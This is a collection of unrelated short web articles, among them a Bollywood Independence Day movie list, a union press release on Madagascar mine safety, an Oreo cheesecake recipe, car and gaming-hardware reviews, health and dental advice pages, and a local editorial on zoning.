title: Top five movies to watch on independence day

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We all know how much love Bollywood has for patriotic movies. Throughout the years, Bollywood has told different stories and the same stories by different storytellers. From ‘Mother India’ to ‘Border’ to ‘Rang De Basanti’, we have seen many shades of storytelling- from loud to melodramatic.
This year, we saw creators come together to tell stories which were never heard before. Here are some recent movies to watch and celebrate India’s 73rd Independence Day that rides high on nationalism to create stellar pieces of visual extravaganza. Take a look:
1. Uri: The Surgical Strike
Aditya Dhar’s directorial debut starring Vicky Kaushal, Paresh Rawal and Yami Gautam created quite a stir after its release earlier this year. The movie revolves around the events of the surgical strike conducted by the Indian army on suspected Pakistani militants in retaliation to the 2016 Uri attack on an Indian army brigade headquarters in Jammu and Kashmir. The film went on to become a blockbuster and the catch phrase “How’s the Josh?” “High, Sir!” could be heard all around.
Akshay Kumar starrer action war film ‘Kesari’ is based on the ‘Battle of Saragarhi’, between the British Indian Army of 21 soldiers and the Pashtun tribesmen of around 10,000 in a heroic last stand. This movie will definitely make you feel proud of our history.
3. The Ghazi Attack
Rana Daggubati and Kay Kay Menon’s movie documents the naval war between India and Pakistan which was fought under water in 1971 when Pakistan’s submarine PNS Ghazi mysteriously sunk. This movie will show the undercurrents of our country, making you patriotic and angry at the same time.
4. Mission Mangal
Multi starrer movie ‘Mission Mangal’, directed by Jagan Shakti, is based on real-life scientists, who contributed to India’s first interplanetary expedition, Mars Orbiter Mission (MOM), launched by Indian Research Space Organisation (ISRO) in 2013. The film features Akshay Kumar, Vidya Balan, Taapsee Pannu, Sonakshi Sinha, Sharman Joshi, Kirti Kulhari, Nithya Menen and H. G. Dattatreya in the lead roles. It is scheduled to be released today and has already created a lot of buzz.
This spy thriller drama is an adaptation of novel called ‘Calling Sehmat’ which is a tale of the brave Indian RAW lady spy portrayed by Alia Bhatt. She is married into a family of Pakistani military officials on her father’s request to relay information to India, prior to the Indo-Pakistani War of 1971. One witnesses a story that has no mention in history and it’s not your normal loud patriotic Bollywood movie. The movie is a brilliantly crafted story of an Indian Wonder Woman who saved many lives by passing on information to the Indian army.


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shelf: civic-law

title: Industriall urges madagascar to ratify c176

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24 March, 2020IndustriALL Global Union and its affiliates in Madagascar are intensifying demands for the ratification of the International Labour Organization (ILO) Convention 176 on safety and health in mines.
Madagascar TV news report
Last year, the affiliates wrote to the Minister of Labour, Employment, Public Services, and Social Legislation urging the government to ratify C176. None of the ILO conventions signed by Madagascar protects mine workers safety and health.
The concerns regarding the regulation of the state of health and safety in the mining industry came under the spotlight at a well-attended panel discussion organized by IndustriALL in Antananarivo on 11 March.
Mining in Madagascar, which has vast deposits of ilmenite, graphite, limestone, gypsum, dolomite, silica, mica, titanium, quartz, gold, platinum group, silver, iron, copper, zinc, nickel, cobalt, chromite, is a huge source of foreign direct investment.
Considering the magnitude of the mining sector, mining’s contribution to the country’s GDP and the growth of the extractives relative to the primary, secondary or tertiary sector, Madagascar is potentially a resource-rich country.
Glen Mpufane, IndustriALL director of mining, diamonds, gems, ornaments and jewellery production, said:
“Occupational health and health and safety in mining in Madagascar is hopelessly unregulated which is inconsistent with mining’s role in the economy.”
Brian Kohler, IndustriALL director of health, safety and sustainability concurred:
“Convention 176 provides the necessary basis for a sustainable mining industry that ensures that its workers return to their workplaces safe and healthy.”
The panel discussion event, moderated by Hanta Andrianasy from Friedrich Ebert Stiftung, Madagascar, followed a two-day training workshop on 9-10 March for IndustriALL affiliates. Kohler ran the training workshop.
The panellists included the IndustriALL directors and representatives from the two major global multinational mining companies, Rio Tinto’s QMM ilmenite mine and Sheritt International’s Ambatovy Sherritt Madagascar. Government of Madagascar representatives from the Ministry of Labour, Employment, Public Service and Social Legislation, director-general, Jerson Razafimanantsoa and Yvan Rakotomalala, the director of health and social action also presented.
The panellists were unanimous on the importance of ratification to ensure the safety and protection of mineworkers. Razafimanantsoa made a positive contribution to the panel discussions, committing the government of Madagascar to eventual ratification of C176. The ratification due process will include a gap analysis of the legislative occupational health and safety regime and will involve all tripartite stakeholders.


shelf: science-engineering

title: Help with dark spots

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When the sleepwalking Lady Macbeth proclaimed, “Out damn spot!” in William Shakespeare’s Macbeth, she wasn’t shouting about skin. The famous line still applies; we’re talking spotty skin! Women of color often find that skin darkens around blemishes, resulting in unwanted deeply pigmented, lasting acne scars.
Most common acne culprits:
A recent survey of black women who suffer from acne, revealed that 46% use pomade, oil or ointment for hair to style or improve the manageability of their hair. Within the 46%, 71% of those women using pomade developed forehead acne and deep scaring. If you must use oils, gel, ordinary hair grease to manage hair or maintain a hairstyle then wrap hair at night before going to bed. Keeping hair, product and oils away from your face. You should avoid having greasy hair pressed against your face while you sleep.
I recently stopped a stunning black woman with the most luminous skin as she walked up 7th Avenue in Manhattan. I asked her the secret to her most radiant skin. She explained that she changes her pillowcase every single night. This makes sense. Sleeping on oil-covered pillowcases can contribute to clogging pores.
Avoid pressing cell phones against the face. A hot, steamy makeup covered cell phone can be a hotbed for bacteria causing staph infections and acne. Wipe down your cell with Wireless Wipes Mobile Device Cleaners for a bacteria free phone.
Our #1 pick for getting the spots out?
African Black Soap is excellent for those battling dark spots caused by acne. When used consistently and over time, ABS has been shown to fade dark spots and keep them away. You should begin to see results starting in just 4 weeks. At 12 weeks, see a visible reduction in dark spots, age spots, and traces of acne past. Best of all, African Black Soap can be used on both your face and your body.
Please note, African Black Soap is a powerful exfoliator and should always be followed up by a moisturizer. In addition, if you find ABS to be too strong for use on your face, please spot treat or reduce usage to 2-3 times a week.
Related Article: Black Soap 101


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title: Google gdc 2019 keynotes

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GDC (Game Developer Conference )which was held on March 19, 2019, Google has announced “Stadia”. According to Google, you can play AAA ratings games in your browser just by click in a link. You will not need any high-end console or hardware. The new controller has also been announced which can connect through WIFI with any Google smart devices. The Controller actually connects their server directly to their game session. It is a normal controller but has 2 new buttons one for capturing which helps to share directly to the youtube and another is for Google assistance. It uses a built-in microphone.
According to Google, the Stadia will launch at 4K with 60fps with HDR and surround sound and capability of expanding 80K with 120fps in the future. Google has partnered with AMD (Advanced Micro Devices) inc, to build the custom GPU (Graphics Processing Unit). Each GPU has 10 teraflops of power, 56 computer units, and HBM2 memory. Stadia is more powerful than the Xbox one X (6.0 GPU Teraflop) and PS4 (4.2 GPU Teraflop). Stadia runs with Linux OS (Operating System) and open Graphics API (Application Program Interface) Vulkan. In terms of game engine, Google has partnered with UNREAL ENGINE and Unity. Google has given early access of Stadia to the ID software company which build the first AAA game i.e. DOOM.
According to the Executive producer of ID Marty Staton, the “DOOM ETERNAL” is a pure and unfiltered action fps which is capable to run on a true 4K resolution with HDR color and 60 fps. DOOM ETERNAL with be running on single Stadia GPU. Stadia will be capable of keeping Client and server both on Google’s networking backbone, resulting in predictable low latency and reliable connectivity on the public internet. It will provide high performance multiplayer with the gorgeous environment. Stadia is working on Stream connect which might bring back the split screen view. With style Transfer ML (Machine Learning) Google is applying the science of Machine learning our visualization.
With a new technology called StateShare developer can let a player instantly share their playable moment from a game which includes world state, players positions, and inventory. The game’s state can be encoded into a link that tells the Stadia where to pick up the game.


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title: Watermelon

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Did you know that guava and tomato are just two of the lycopene-rich fruits and vegetables that can protect your brain and reduce your risks for cancer, heart disease and bone fractures?
Hypertension affects about 30% of adults worldwide. While most people try to cut back on salt to lower their pressure, a better strategy may be to add these healthy foods to the menu.
Thirty years of research reveals 10 of the best food compounds to ingest to protect against and even treat the root cause of most cancers
A new study lends more support for the idea that a whole food is more powerful than the sum of its parts
We have handpicked some of the tastiest, healthiest fruits and vegetables for your late-summer feast and for year-round health benefits
Ouch, that workout makes you wonder if you'll be going back to the gym any time soon. Relieve those sore muscles, pain, stiffness and reduce your inflammation with these easy and safe treatments
Watermelon is so much more than just a highly refreshing summertime treat. From the perspective of a growing body of clinical research, it is a truly medicinal food.
With extreme heat settling over vast areas this summer and temperatures stuck at 100 degrees or more for days on end in some places, it's time to adjust our diets for the duration. It’s natural that rich heavy foods just don’t appeal to us when the thermometer spikes, and we turn to lighter fare to cool us off
In the quest for parenthood, could the answer lie in a glass of homemade juice? A groundbreaking new study suggests that a simple blend of beetroot, watermelon, and ginger could significantly improve the success rates of in vitro fertilization (IVF) treatments.
Choosing foods that are good for you doesn’t have to be a chore. These five foods are as tasty as they are beneficial for improving your cardiometabolic health
Just looking at a juicy watermelon seems to relax us perhaps because the image conjures memories of lazy summer days and informal meals. But a new study reveals that it’s not just in our heads. Eating watermelon lowers blood pressure - it’s true
Here are the "big four" benefits of watermelons for health and wellbeing, mainly due to their rich antioxidant and lycopene content
Your body converts the amino acid citrulline to arginine, which plays a key role in nitric oxide (NO) synthesis. This compound, found in high concentrations in watermelon, is useful for blood pressure, erectile dysfunction, metabolic health and more


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Time Off After Tax Season – The Right Way
We get used to being busy. We get hooked on smart phones, email, technology, and just work itself. We feel the need to respond quickly to clients and staff. Tax season requires many accountants to become seasonal workaholics.
Luckily it’s time to detox. Do it the right way. Leave the computer and smart phone at home when vacate this year. Try it and you’ll be hooked. The first couple of days can be especially hard, as you come off the busy schedule…then you start to get into the vacation mode and it’s a good mode to be in. NOT checking in with the office is actually GOOD for business.
Here is an excerpt from Accountant’s Flight Plan-Best Practices for Today’s Firms:
Some of the most efficient, effective, and successful operators I know take a significant amount of time off each year. And most of them credit that time away as one of the keys to their practices’ robust health. My observation is that when you are away from your practice, you are far more likely to come up with the creative and critical ideas that have the power to significantly advance your career. When you are entrenched in the day-to-day—a little weary and worse for wear—you may be very good at making incremental improvements, but it is difficult to see your business from the bird’s eye view. Certainly, this is not true for all practitioners. Some people are different; they thrive on non-stop schedules and build solid practices along the way. My experience, however, is that the burn–out rate among those Type-As is very high. Other parts of our lives suffer significantly when we work too much. Study after study supports the fact that the most successful people are the ones who maintain balance between their professional and personal lives.
One of the great benefits of being away from your office more frequently is that you develop a clarity about your practice that you gain only when you are able to unwind. Think back to how many times you have you made crucial, ground-breaking, paradigm-shifting decisions during a long vacation. I typically experience at least one work–related “ah–ha” moment on any given vacation break. Your down-time can translate into an upturn for your practice.
In short…leave your computer and smart phone at home when you take time-off. You worked hard and deserve it. Your accounting practice will be there when you get back. Relax!


shelf: education

title: News

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In February seventeen students went on a trip to Nice in the south of France with Mme Parente and Mr Wigington.
The Year 10 trip was not only enriching linguistically but also culturally. Students enjoyed visiting Nice, Cannes, Eze, Antibes and learning how to make sweets and perfume. These visits really inspired the curiosity of our students and, thanks to tailor-made lessons, they developed their learning of the French language outside Stephen Perse Cambridge. Staying in French host families also helped them to develop strong interpersonal relationships and gave them an awareness of the French culture and way of life.
For the eleven Year 12 and Year 13 students, the Linguistic and Work Experience Trip not only helped them to improve their French language by having lessons every morning but also their interpersonal skills by encouraging them to step outside of their comfort zone, meet interesting people at work, experience the world of work and understand more about the world of work in France and the French way of life. They made some great connections, whether at work or with their host family and, for some of these students, these links will last longer than the time actually spent away as some of them are already thinking of returning to Nice on their own this year or next. All students were tired by the end of the week, particularly our Year 12 and Year 13 students due to the nature of their trip. Having to concentrate not only on their host family, lessons and work, finding their own way in an unfamiliar town is mentally and physically exhausting, but rewarding on so many levels: personal, linguistic, professional and cultural.
These two trips opened our students' minds to French culture and French working life and a taste of real life in France. They have increased their confidence in speaking French on a daily basis and made huge progress. The trips have given students the chance to deepen or create friendships, and to feel more connected as a group due to shared experiences. It has also given them responsibility for their workplace role.


shelf: home-craft

title: Best oreo cheesecake

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When my son turned 8 I asked him what sort of cake he wanted for his birthday. He requested an Oreo Cheesecake. I am hit or miss when it comes to making cheesecakes, but I knew I would have to make it work for my little man. I have had nothing but luck when making cheesecakes from Life, Love and Sugar and sure enough she had an Oreo one so I was in luck. This cake is sooooo good! It’s cooks perfectly and while time consuming it’s worth every step! If you want a wow dessert this will do the trick.
Best Oreo Cheesecake
(Adapted from Life, Love and Sugar)
35 Oreos (3 cups |403g Oreo crumbs)
5 tbsp (70g) butter, melted (salted or unsalted is fine)
24 ounces (678g) cream cheese, room temperature
1 cup (207g) sugar
3 tbsp (24g) all purpose flour
1 cup (230g) sour cream
1 1/2 tbsp vanilla extract
4 large eggs, room temperature
1 cup (134g) Oreo crumbs (from about 11–12 Oreos)
20 Oreos, cut into quarters
White Chocolate Ganache
7 oz white chocolate chips
4 tbsp (60ml) heavy whipping cream
1 cup (240ml) heavy whipping cream, cold
1/2 cup (58g) powdered sugar
3/4 tsp vanilla extract
Oreos, cut in half
Preheat oven to 325°F (163°C). Line a 9-inch (23cm) springform pan with parchment paper in the bottom and grease the sides.
Combine the crust ingredients in a small bowl. Press the mixture into the bottom and up the sides of the springform pan.
Bake the crust for 8-10 minutes, then set aside to cool.
Cover the outsides of the pan with aluminum foil so that water from the water bath cannot get in (see how I prepare a pan for a water bath). Set prepared pan aside.
Reduce oven temperature to 300°F (148°C).
In a large bowl, beat the cream cheese, sugar and flour on low speed until well completely combined and smooth. Be sure to use low speed to reduce the amount of air added to the batter, which can cause cracks. Scrape down the sides of the bowl.
Add the sour cream and vanilla extract and mix on low speed until well combined.
Add the eggs one at a time, mixing slowly to combine after each addition. Scrape down the sides of the bowl as needed to make sure everything is well combined.
Gently stir the Oreo crumbs into the filling.
Pour a third of the cheesecake filling into the crust and spread evenly. Top it with half of the quartered Oreos.
Add another third of the cheesecake filling and spread evenly, then the other half of the Oreos.
Top the cheesecake with the remaining filling and spread into an even layer. It should be a thick enough layer to keep the Oreos from floating to the top. Try not to jostle the cheesecake around too much, or the Oreos will come to the surface. You want to avoid that so that you don’t end up with cracks in the top of your cheesecake. If some Oreos or air bubbles surface, use a toothpick to push down the Oreos and pop the bubbles.
Place the springform pan inside another larger pan. Fill the outside pan with enough warm water to go about halfway up the sides of the springform pan. The water should not go above the top edge of the aluminum foil on the springform pan.
Bake for 1 hour 20 minutes. The center should be set, but still jiggly.
Turn off the oven and leave the door closed for 30 minutes. The cheesecake will continue to cook, but slowly begin to cool as well.
Crack the door of the oven for 30 minutes to allow the cheesecake to continue to cool slowly. This process helps prevent cracking.
Remove the cheesecake from the oven and water bath wrapping and refrigerate until firm, 5-6 hours or overnight.
Remove the cheesecake from the springform pan and place on a serving dish.
To make the ganache, place the white chocolate chips in a medium heat proof bowl.
Heat the heavy cream just until it begins to boil.
Pour the hot cream over the white chocolate chips and allow to sit for 2-3 minutes, then whisk until smooth. If not completely melted and smooth, heat in 10 second increments, stirring between each until fully melted.
Allow the ganache to cool a bit (about 5 minutes, until thickened but still pourable and spreadable), then pour the ganache onto the top of the cheesecake and spread evenly. My chips didn’t melt all the way, which is ok because the Oreos on top will cover up.
To make the whipped cream, add the heavy whipping cream and powdered sugar to a large mixer bowl. Whip on high speed until stiff peaks form.
Pipe the whipped cream onto the top outer edge of the cheesecake. I used Ateco tip 844.
Finish the cheesecake off by adding additional chopped Oreos to the center of the cheesecake and an Oreo half to piped whipped cream swirls.
Refrigerate until ready to serve. Cheesecake is best for 4-5 days.


shelf: history-culture

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Luke Combs’ family honored fallen service members in a special way this holiday season
While many spend the holidays with their loved ones, it is also time to remember those no longer with us. Luke Combs’ wife, Nicole, and their two young sons recently partnered with the nonprofit organization Wreaths Across America to spread Christmas love to those who lost their lives in service to our nation.
Each year, more than two million volunteers gather for the annual Wreaths Across America Day. The event takes place at local, state, and national cemeteries across all 50 states. The tradition was designed to pay tribute to our nation’s service members and their families.
The 2024 theme was “Living With Purpose,” inspired by the “remarkable stories of these volunteers whose impactful work in their communities is a beacon of inspiration for all.”
About Wreaths Across America
Wreaths Across America began in 1992 when the Maine-based Worcester Wreath Company was nearing the end of the holiday season with a surplus of unsellable wreaths. The owner, Morrill Worcester, recalled a childhood visit to Arlington National Cemetary, which left an indelible impression on him.
He was inspired to send the extra wreaths to Arlington. One by one, local partners, including a trucking company, members of the American Legion, and state senators, stepped up to make the dream come to fruition.
Now, 30 years later, the annual operation places millions of wreaths on gravesites in more than 3,700 locations. Wreaths Across America commits to “teaching all generations about the value of their freedoms and the importance of honoring those who sacrificed so much to protect those freedoms.”
Nicole Combs and sons lay Christmas wreaths on the graves of fallen service members
On Saturday, December 14th, Nicole Combs and sons Tex and Beau participated in Wreaths Across America Day. The proud mom shared moments from the special day at Middle Tennessee Veterans Cemetary in a series of Instagram stories.
Nicole shared the sweet words that their older son, Tex, had to say as he placed each wreath. She wrote:
“He kept saying, ‘Hi. I love you. Thank you for your service. Merry Christmas’ to every headstone we laid wreaths on.”
Nicole’s sister Jenna also joined for the family activity and shared that they participate in the tradition annually in honor of their “Papo.” She wrote:
“This year was extra special bringing my nephews along with us 🤍 Remember and honor our veterans and teach the next generation the same 🇺🇸”
It is clear that Luke and Nicole Combs and their family believe in the importance of teaching honor and gratitude to their children. Bravo!
See additional photos in Jenna Hocking’s post below.


title: Unemployment and child support obligations what you should know

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Losing your job, or even having your hours or workload cut, can be very stressful. If you’re a parent who pays child support to your ex, one of your biggest fears is likely how you’ll be able to keep up with your payments and what will happen if you don’t.
It’s important to know that your access to your child is not dependent on your ability to make these payments. While it’s crucial to deal with that issue correctly, as we’ll discuss, child support and parenting rights are not interdependent.
Even parents who don’t comply with their child support requirements when they’re able to can’t be penalized by not being able to see their child – either by their ex or a court. Both child support and parenting rights are meant to benefit the child, so withholding one because there’s an issue with the other isn’t allowed.
Getting a temporary modification of your child support obligations
Now, if you know you’re not going to be able to make payments on time and in full while you’re looking for another job, it’s critical that you notify the court and seek a temporary modification of your child support. Working out an arrangement with your ex can backfire on you. Remember that this is a court order, and not being in compliance can put you in legal jeopardy. If your payments are being taken out of your paycheck or other source automatically by a state agency or other entity, you need to notify it as well.
As noted, a judge will likely allow a temporary modification or pause, but you’ll need to present evidence of your changed employment status (and show that you didn’t just quit your job without another one lined up). They’ll also want to know about your larger financial picture – such as other sources of income (including unemployment benefits) and assets you have. They’ll also want to see evidence that you’re actively seeking comparable employment.
It’s only normal to be anxious during a time like this, but it may help to know that it happens to a lot of parents. It’s crucial to know your rights and to ensure that the court is fully aware of the situation. Having experienced guidance can help you protect your parenting rights and avoid unnecessary complications.


tier: polar

title: 2025 toyota bz4x driven first taste overhauled model y fighter

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The Toyota bZ4X, the brand’s all-important mid-size electric SUV (or Tesla Model Y fighter, if you want to be confrontational) didn’t have the easiest start to life: delays, an early recall and then controversy over how big its battery actually was and how averse it was to cold weather.
Now it’s facelift time, and as that original car didn’t get the most rapturous reception, it’s a pretty comprehensive one. The front fascia has been revised with slimmer headlights and the wheel-arch trims, which were unpainted black, are now gloss black.
More significantly, it has had a range boost, thanks to both a bigger battery and improved efficiency. By reconfiguring the shape of the pack and the gubbins surrounding it, the engineers have shoehorned in eight extra cells, taking its capacity from 71.4kWh to 73.1kWh (69.0kWh of which is usable). There’s also a new version with a smaller battery (57.7/54.0kWh), but don't expect to see many of those in UK.
To make sure it lives up to Toyota's reputation of long-livedness, there's now a menu in the instrument cluster that shows the battery's state of health. It tells you what percentage of the battery's original capacity remains.
By using silicon-carbide inverters and polishing the teeth (dentists recommend both mornings and evenings) of the gearbox, the engineers have also made the drivetrain use less energy, despite a useful bump in power.
Tweaks to the front subframe and extra adhesive in the floor have increased chassis rigidity, while the springs, dampers and bushings have been retuned to make it feel more settled and improve the ride, particularly for the rear passengers.
The interior also came in for some criticism before, so that has had a makeover too. These changes have been partially successful. The old gloss black centre console with a hidden phone storage is swapped for a matt one with two wireless charging pads – much better.


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OPC UA enables industrial IoT and open source software services
What is OPC UA:
OPC UA stands for OPC Unified Architecture. It is an industrial automation communication standard published by the OPC Foundation in 2008. OPC UA (Object Linking and Embedding for Process Control Unified Architecture) is a communication protocol and data exchange standard for industrial automation and control systems. Its main purpose is to enable interoperability between different devices, machines, and systems in order to effectively share data and information in industrial environments.
The advantages of OPC UA include:
Open standards: OPC UA standards are freely available for anyone to use. There are no licensing fees or other restrictions for implementing OPC UA devices or systems.
Cross-platform: OPC UA is not limited to any specific operating system or programming language. It can be used on a variety of platforms and systems.
Reliability: OPC UA provides reliable communication, even in unstable network conditions.
Unified architecture: OPC UA provides a unified architecture for communication, data modeling, and security, which enables devices and applications from different vendors to interoperate.
Security: OPC UA supports a variety of security mechanisms, including encryption, authentication, and authorization, to ensure the confidentiality and integrity of data during transmission.
Efficient data transmission: OPC UA uses binary encoding to achieve efficient data transmission, which is important for real-time control applications and the transmission of large amounts of data.
Flexible data model: OPC UA defines a flexible data model that can describe a variety of different types of data, including real-time data, configuration information, and metadata.
Platform independence: OPC UA supports a variety of different platforms, including Windows, Linux, and embedded systems. This enables interoperability in a variety of different environments.
Extensibility: OPC UA supports extensibility, allowing custom features and data types to be added to meet the needs of specific applications.
OPC UA has a wide range of applications, including:
Industrial control: OPC UA can be used to control the operation of industrial equipment, such as starting, stopping, and adjusting parameters.
Industrial Internet of Things (IIoT): OPC UA can be used for Industrial Internet of Things (IoT) applications, such as remote monitoring and data analysis.
In industrial monitoring systems, OPC UA can be used to collect data from different industrial devices into a central monitoring system for monitoring and analysis, such as temperature, pressure, and flow.
In industrial IoT applications, OPC UA can be used to transmit data from industrial devices to the cloud for data analysis and applications.
OPC UA is a rapidly developing industrial automation communication standard with a wide range of applications. With the development of industrial IoT, OPC UA will play an increasingly important role in the industrial automation field.
AIC OpcUa Extender Server is an OPC UA server suite that focuses on data collection communication with systems. Based on the OPC UA communication model, we provide the required data collection platform, allowing users to use the service-oriented architecture of OPC UA to organize their complex data into OPC UA namespaces. AIC OpcUa Extender Server has features such as tag subscription and real-time updates. As a communication gateway, it plays an important role in allowing OPC UA clients to operate HMI or PLC data. AIC OpcUa Extender Server includes a configurable GUI for parameters and settings, as well as an OPC UA server service as the center of data collection and sending to OPC UA client applications, thus realizing simplified OPC UA system operation.


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Invisalign and Dental Health: 7 Common Questions Answered
November 8, 2023 4:51 am
Invisalign® has revolutionized orthodontic treatment, offering a discreet and convenient way to achieve a straighter smile. As more people explore this innovative option, common questions about Invisalign in Citrus County and its impact on oral health naturally arise.
In this comprehensive guide, we’ll address some of the most frequently asked questions regarding Invisalign. From its effectiveness compared to traditional braces to concerns about oral hygiene and potential dental health issues, we aim to provide valuable insights and answers.
FAQs About Invisalign: Your Comprehensive Guide
Is Invisalign as Effective as Traditional Braces for Dental Health?
Absolutely! Invisalign can be just as effective as traditional braces for improving dental health. These clear aligners gently shift your teeth into the desired position, promoting a healthier bite and reducing the risk of oral health problems associated with misalignment.
Can I Maintain Good Oral Hygiene with Invisalign?
Maintaining good oral hygiene is essential during Invisalign treatment. The aligners are removable, allowing you to brush and floss your teeth as you normally would. Just remember to clean your aligners regularly to prevent bacteria buildup.
Do Clear Aligners Cause Cavities?
Properly caring for your teeth and aligners reduces the risk of cavities during Invisalign treatment. Make sure to remove your aligners when eating, brush and floss after meals, and clean your aligners as recommended. This routine minimizes the chances of food particles and plaque-causing cavities occurring.
Can Invisalign Improve Gum Health?
Yes, Invisalign can contribute to improved gum health. When teeth are properly aligned, it becomes easier to maintain healthy gum tissue. Straight teeth are less likely to trap food particles and are easier to clean through regular brushing and flossing.
Are There Any Dental Health Issues to Watch Out for During Invisalign Treatment?
While Invisalign can enhance dental health, there are a few issues to be aware of. Occasionally, aligners may cause minor irritation or sores. If this happens, your orthodontist can provide guidance and solutions to alleviate discomfort.
How Long Does Invisalign Treatment Typically Take?
The duration of Invisalign treatment can vary depending on the complexity of your orthodontic needs. On average, treatment may take anywhere from 12 to 18 months. Some cases may be shorter, while more complex cases can take longer.
Can I Eat and Drink Normally with Clear Aligners?
You can enjoy most of your favorite foods and beverages with clear aligners. However, removing your aligners before eating or drinking anything other than water is essential to prevent staining or damage to the aligners. After consuming food or beverages, brushing your teeth before reinserting the aligners is important to maintain good oral hygiene and prevent trapped particles from causing issues.
Do You Have More Questions About Invisalign in Citrus County?
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The RG35XX Plus console offers retro gaming fans an impressive collection of pre-installed classic games. From popular PlayStation 1 titles to Game Boy Advance and NES classics, as well as Super Nintendo and Sega Mega Drive games, the RG35XX Plus brings the best of different console generations straight to your hands.
5 Best Retro Handhelds: The Ultimate Guide for Nostalgic Gamers
Find the right Retro Handheld console for your needs. Are you ready to relive the golden age of gaming on the go? Look no further! We’ve scoured the market to bring you the definitive list of the top 5 retro[…]
R36S Full Review: Budget Retro Gaming Powerhouse?
Introduction The R36S has been making waves in the budget retro handheld market, promising high-end emulation at a wallet-friendly price of around $50. But does it deliver? In this comprehensive review, we’ll put the R36S through its paces, examining its[…]
List of games on the R36S
The following games are installed on the R36S. The R36S console offers retro gaming fans an impressive collection of pre-installed classic games. From popular PSP titles to PlayStation 1 and Dreamcast classics to Super Famicom and Famicom games, the R36S[…]
Introduction Welcome to the comprehensive guide for installing ArkOS v2.0 on your R36S handheld device. ArkOS is a custom firmware that enhances your gaming experience by providing improved performance, additional features, and a user-friendly interface. This guide will walk you[…]
R36S Supported Emulators
Introduction The R36S is a versatile handheld gaming device that brings the world of retro gaming to your fingertips. Running on ArkOS, this compact console supports a wide range of emulators, allowing you to enjoy games from various classic systems.[…]
That’s how many games the R36S has in store for you
The R36S retro handheld games console: Your access to the best retro console classics In a world that is constantly changing, we remain Retro games an integral part of gaming culture. For many, it is not just a hobby,[…]
R36S Technical Data and Specifications
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In germanic mythology the key of heaven gave the ‘key’ to a treasure. Nowadays we are quick to think of treasure in terms of a treasure trove full of gold and silver. But in long gone times the treasure referred to was more likely to be that of insight and wisdom. In the middle ages this germanic myth was taken over by the christians. However, it still refers to spiritual treasures: heavenly wealth. A careless Peter plays the main role in this christian myth.
Peter is one of Jesus’ twelve apostles and after his death he became the keeper of the heaven’s gates. On his belt still rattled the large golden keys which allow entry to all the heavenly vaults. It is his task to welcome the ‘good souls’ into the heavenly paradise and to point the ‘bad souls’ in the direction of hell.
On one of the first spring days of the year in question Petrus was feeling slightly dazed by the warm spring sunshine and nodded off to sleep in his comfortable chair in front of the heavenly gates. He was so sleepy that he forgot to click the keys onto his belt, so that they eventually fell out of his hands as he sat there snoring. Several hours later the bunch of keys fell to earth.
A little girl who was playing in a field nearby heard the heavy keys drop down in the meadow. The gold glittered and shone yellow in the sun. Because she sensed that these were important keys, she did not dare pick them up. Instead she ran back home to tell her parents about these amazing keys which had simply dropped out of the sky.
By the time the parents of the excited girl had reached the meadow, it seemed as if the keys had already disappeared. But on the spot where the girl pointed to now grew a beautiful plant with bright yellow sparkling flowers. A plant they had never seen before. The flowers hung down to the side of the stem, like the keys on a keyring. They realized at once that they were special, which is why they called this newly discovered plant ‘key of heaven”.
Because it came from heaven, the parents imagined that there must be a treasure hidden beneath the plant. So after digging carefully around it and finding nothing, they knew that it would bring them good fortune in the near future. That is why they looked after the plant with the greatest care. As a result, it thrived and multiplied, spreading across large areas of land.
The key flower is called primula in Latin, which means firstling. It is one of the first plants to flower in the earliest days of spring. There are three varieties in the lowlands: the gold-laced or common cowslip (Primula veris), the slender oxlip (Primula elatior) and the stemless primrose (Primula vulgaris). These are all yellow. In Europe, however, most varieties of the primulas grow in mountainous areas where they can also be coloured pink, red, purple and white. The roots are bitter and taste of aniseed. In former times people used the roots to cure illnesses, because the primula was seen as a holy plant able to heal all kinds of ‘devilish afflictions’ such as gout and arthritis! With the addition of generous quantities of sugar it provided a widely-used cough mixture. Nowadays, the cultivated variety is a popular buy in the springtime.


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Antonio Canova or the Ideal Beauty in Marble - Virtual Guided Tour (Recorded)
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Antonio Canova or the Ideal Beauty in Marble
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Antonio Canova was considered the greats sculptor of his time and worked for Popes, Queens, and even for Napoleon and Thomas Jefferson, who commissioned him George Washington’s statue in which he is portrayed as an ancient Roman statesman. Canova embodied the ideal of classicism and the renewed interest in the roman empire art in the XIX century’s Europe, he is considered the greatest classicist sculptor, and his works are in the most important museums in the world: from St Peterburg’s Hermitage to the Louvre, from the Borghese Gallery to the Vatican Museums. We will discover his masterpieces and his legacy, from his origins in Possagno in the mainland of Venice to his works in Rome and the Vatican and his travels to France and England
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Growth without a plan?
Published 10:47 am Thursday, November 13, 2014
Warren County Sheriff Martin Pace recommended the county consider an ordinance that would close nightclubs outside city limits by 1 a.m.
The recommendation is an effort to encourage zoning and building codes outside the city.
Nightclubs that operate in Warren County far outside the city limits of Vicksburg are often tucked away in trailer parks off the beaten path of major thoroughfares.
Pace told supervisors Vicksburg Warren E-911 has taken 56 calls in the past year to report various disturbances of the peace at one establishment, often in the wee hours of weekend mornings.
“With limited staff, my guys need to be patrolling subdivisions for car burglaries and businesses for business burglaries. I’ll have everyone on duty tied up on one nightclub disturbance at 3 o’clock in the morning when everyone needs to be asleep.”
Board President Bill Lauderdale indicated to Pace he favored going through the chancery court system to declare any building where disturbance calls pile up to be declared a public nuisance and shut down.
“If there was a new one, I’d shut him down, too,” Lauderdale said, referring to nightclubs with a high number of 911 calls attached to it. If law enforcement is having to go out there 50 times, you need to do something to those folks.”
What Warren County needs is zoning and building codes. America is the land of the free, but is also governed by laws and regulations.
Last week, citing cost in general, supervisors voted 3-2 to follow steps laid out by the Legislature to opt out of the new law requiring counties and cities to adopt any of the last three editions of the International Building Code as a minimum standard and codes in the Mississippi Builders Codes Council, which addresses plumbing and electrical standards.
No construction or land-use regulations exist in non-municipal Warren County. Construction outside the city involves only a building permit that costs $5 in most cases.
Without zoning and building codes a mish-mash of buildings, trailers, churches, business and residential areas exist within a short stretch of road.
In effect a person could buy a piece of property in the county and build their million-dollar dream home and a trailer park could soon be established next door.
If Warren County is to grow and become attractive to people and businesses outside our community then we need to plan for growth.


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in-innovative navigation delivered the entire software including system surveillance components. The coastal traffic service system comprises 46 radar locations, central and redundant signal processing in 3 data centers, 5 traffic control centers. in-innovative navigation also provided support during installation of components, setting-to-work, approval and training of operators and technicians.
Designed and built to ensure the integrity of the Estonian territory and territorial waters, the system identifies and recognizes surface and air targets in the responsibility of the Estonian Border Guard. The system installed along the 500 km coast line includes Short Range Radars (SRR) and Long Range Radars (LRR). Information is processed and integrated with components of in-innovative navigation.
